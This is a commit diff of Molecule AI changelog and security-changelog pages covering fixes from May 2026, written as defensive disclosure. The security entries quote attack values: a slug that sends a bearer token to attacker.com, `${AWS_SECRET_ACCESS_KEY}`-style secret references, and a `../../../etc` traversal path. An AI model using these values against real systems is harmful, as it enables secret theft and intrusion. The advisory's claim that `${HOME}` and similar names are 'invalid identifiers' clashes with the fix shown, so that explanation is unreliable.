Compare commits
8 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 85d5280799 | |||
| fce033e092 | |||
| c570ddc4cc | |||
| 5bc16bbf22 | |||
| e9aac3629c | |||
| 3992150a47 | |||
| 5830875200 | |||
| cece1d6e03 |
+29
-13
@@ -11,22 +11,38 @@ Entries are published daily at 23:50 UTC.
|
||||
## 2026-05-14
|
||||
|
||||
### 🔒 Security
|
||||
|
||||
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
|
||||
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
|
||||
|
||||
### 🐛 Bug fixes
|
||||
|
||||
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
|
||||
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
|
||||
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
|
||||
- **Canvas accessibility round 3**: WCAG AA contrast fixes, focus-visible rings, and ARIA attribute corrections applied across `ConversationTraceModal`, `ErrorBoundary`, `ExternalConnectModal`, `MissingKeysModal`, `ProviderModelSelector`, `ConversationTraceModal`, `ActivityTab`, `ScheduleTab`, and `SkillsTab`. (`molecule-core` [#936](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/936), [#949](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/949))
|
||||
|
||||
### 🧹 Internal
|
||||
|
||||
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
|
||||
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
|
||||
- **CI/CD hardening** (`molecule-core`): publish workflow Docker healthcheck made pipefail-safe (`#952`); `sop-checklist-gate` renamed to `sop-checklist` (`#951`); `continue-on-error` flipped from `true` to `false` on platform-build CI (`#935`); `canvas-deploy-reminder` removed from all-required checks (`#938`); `GITHUB_EVENT_BEFORE` fallback corrected in handlers-postgres-integration detect-changes step (`#937`); publish deploy images on every main push enabled (`#939`); SOP tier-check BURN-IN comment updated to reference `internal#343` (`#934`).
|
||||
- **Test coverage additions** (`molecule-core`): OFFSEC-003 test assertions corrected for ZWSP-escaped values (`#946`); `executeDelegation` integration test calls updated for staging (`#945`); unit tests added for `walkOrgWorkspaceNames` and `resolveParentOrgID` in org handlers (`#941`).
|
||||
- **`_sanitize_a2a.py` aliases added**: `_A2A_BOUNDARY_START` and `_A2A_BOUNDARY_END` added as convenience aliases for the canonical trust-boundary markers, matching test expectations (`#934`).
|
||||
|
||||
---
|
||||
|
||||
## 2026-05-13
|
||||
|
||||
### ✨ New features
|
||||
|
||||
- **Docker HEALTHCHECK for workspace containers**: the workspace `Dockerfile` now includes a `HEALTHCHECK --interval=30s --timeout=5s --retries=3` directive that probes `http://localhost:${PORT:-8000}/.well-known/agent-card.json`. Self-hosted operators running the workspace container under Docker or Kubernetes can now use native liveness/readiness probes — the container is marked healthy only when the A2A agent card endpoint responds. (`molecule-core` [#883](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/883))
|
||||
|
||||
### 📚 Documentation
|
||||
|
||||
- **Security section expanded**: the [Security hub](/docs/security) now includes a link to the [OWASP Agentic Top 10](/docs/security/owasp-agentic-top-10) risk framework and the [Security Changelog](/docs/security/changelog) alongside the existing SAFE-MCP advisory. A severity level table (CRITICAL / HIGH / MEDIUM / LOW) calibrates response timelines for each finding. (`docs` [#35](https://git.moleculesai.app/molecule-ai/docs/pulls/35))
|
||||
- **MCP server env var corrected**: `MOLECULE_URL` is now consistently named `MOLECULE_API_URL` in the [MCP Server documentation](/docs/mcp-server) and all code examples. The old name is no longer referenced on any public surface. (`docs` [#34](https://git.moleculesai.app/molecule-ai/docs/pulls/34))
|
||||
- **Remote workspaces documentation updated with graceful shutdown**: the [Remote Workspaces page](/docs/remote-workspaces) now documents the `stop_event: threading.Event` parameter for `run_heartbeat_loop()` and `run_agent_loop()`, enabling proper SIGTERM graceful shutdown in Kubernetes, Docker, and other container-orchestrated environments. The `PLATFORM_URL` default has also been corrected to `http://host.docker.internal:8080` for containerized development. (`docs` [#29](https://git.moleculesai.app/molecule-ai/docs/pulls/29))
|
||||
- **Workspace runtime `PLATFORM_URL` defaults corrected**: `PLATFORM_URL` now consistently defaults to `http://host.docker.internal:8080` across all workspace runtime modules (`a2a_cli.py`, `a2a_client.py`, `a2a_mcp_server.py`, and 10 others). Previously some modules defaulted to `http://platform:8080`, causing connection failures in containerized deployments where the Docker host is not named `platform`. (`docs` [#32](https://git.moleculesai.app/molecule-ai/docs/pulls/32))
|
||||
- **Dev channel setup documentation clarified**: setting a dev channel using the channel name alone (e.g. `claude-code`) now produces a clear error directing users to the tagged form (`claude-code:latest`). The tagged form is required because dev channels track rolling tags (`latest`, `nightly`) rather than semantic versions. (`docs` [#30](https://git.moleculesai.app/molecule-ai/docs/pulls/30))
|
||||
- **MCP server tool registry table corrected**: the [MCP Server](/docs/mcp-server) documentation now lists all 87 tools across 12 categories. A prior version listed only 29 tools, with several tools assigned to incorrect categories. (`molecule-mcp-server` [#5](https://git.moleculesai.app/molecule-ai/molecule-mcp-server/pulls/5))
|
||||
- **CWE-22 path traversal regression in org template import documented**: the [Security Changelog](/docs/security/changelog) records a regression in `org_import.go` where `createWorkspaceTree`'s path-traversal guard was removed, allowing a malicious org YAML with `filesDir: "../../../etc"` to read arbitrary server files. The fix replaces unprotected `parseEnvFile` calls with `loadWorkspaceEnv` which applies `resolveInsideRoot` validation before accessing any path. (`docs` [#31](https://git.moleculesai.app/molecule-ai/docs/pulls/31), `molecule-core` [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/810))
|
||||
- **EC2 Instance Connect staging IAM permission documented**: the [EC2 provisioner tutorial](/docs/tutorials/aws-ec2-provisioner) and internal observability runbook now document the `ssm:SendCommand` permission required on the EC2 Instance Connect IAM role for staging tenant Vector installation via SSM. (`docs` [#33](https://git.moleculesai.app/molecule-ai/docs/pulls/33))
|
||||
|
||||
### 🧹 Internal
|
||||
|
||||
- **Internal platform hardening** (`molecule-core`): Go handler checks restored to main (`#871`); main test blockers repaired (`#900`); rows.Err() checks added after all database scan loops (`#882`, `#865`); bundle import test builds restored (`#861`, `#850`); TermsGate dialog structure + WCAG button accessibility improved (`#854`); WCAG AA contrast corrected for amber buttons (`#859`); EventsTab and ScheduleTab test coverage added (`#869`); delivery mode and workspace status test coverage added (`#868`); ExternalConnectModal test coverage added — 31 cases (`#847`); 14 pure-function cases added to `org_helpers_pure_test.go` (`#840`); `pgplugin` store dual-fields test fixed with `regexp.QuoteMeta` (`#857`); workflow status emitters annotated (`#877`); gate-check infra-sre Gitea login mapped to `core-devops` agent (`#896`); CI lint-workflow-yaml Rules 7/8/9 resolved on redeploy-tenants-on-main (`#903`); CI retry logic added to status reaper for API timeouts (`#890`); CI main-gate skip logic for non-default-base PRs added (`#892`); workspace Dockerfile test compile drift repaired (`#884`); staging synced from main (`#876`).
|
||||
- **CI tooling migration** (`molecule-core`, `molecule-sdk-python`): `.github/workflows/` renamed to `.gitea/workflows/` post GitHub suspension sweep (`molecule-sdk-python` [#9](https://git.moleculesai.app/molecule-ai/molecule-sdk-python/pulls/9), molecule-core multiple PRs); SOP checklist gate added to docs CI (`.gitea/scripts/sop-checklist-gate.py`) to auto-warn when a public-surface PR is missing a changelog entry (`docs` [#27](https://git.moleculesai.app/molecule-ai/docs/pulls/27)); duplicate changelog entries added to the 2026-05-10 section by a prior automated backfill removed; chronological order restored (`docs` [#28](https://git.moleculesai.app/molecule-ai/docs/pulls/28)).
|
||||
- **SaaS platform stability** (`molecule-core`): `ADMIN_TOKEN` placeholder in `global_secrets` now healed at platform server startup — SaaS tenants provisioned with a placeholder token now receive the real token automatically without requiring re-provision (`#893`, `#898`); `ADMIN_TOKEN` injected into workspace container env vars for admin-gated endpoint access (`#885`).
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -9,37 +9,6 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
|
||||
|
||||
---
|
||||
|
||||
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
|
||||
|
||||
**Severity:** Critical (CWE-78)
|
||||
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
|
||||
**Affected:** `workspace-server/internal/handlers/org_helpers.go` — `expandWithEnv`
|
||||
|
||||
### Vulnerability
|
||||
|
||||
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
|
||||
|
||||
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
|
||||
|
||||
### Fix
|
||||
|
||||
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
|
||||
|
||||
```go
|
||||
c := key[0]
|
||||
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
|
||||
return "$" + key // not a valid shell identifier — return literally
|
||||
}
|
||||
```
|
||||
|
||||
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
|
||||
|
||||
### User-facing summary
|
||||
|
||||
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
|
||||
|
||||
---
|
||||
|
||||
## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`
|
||||
|
||||
**Severity:** High (CWE-22)
|
||||
|
||||
Reference in New Issue
Block a user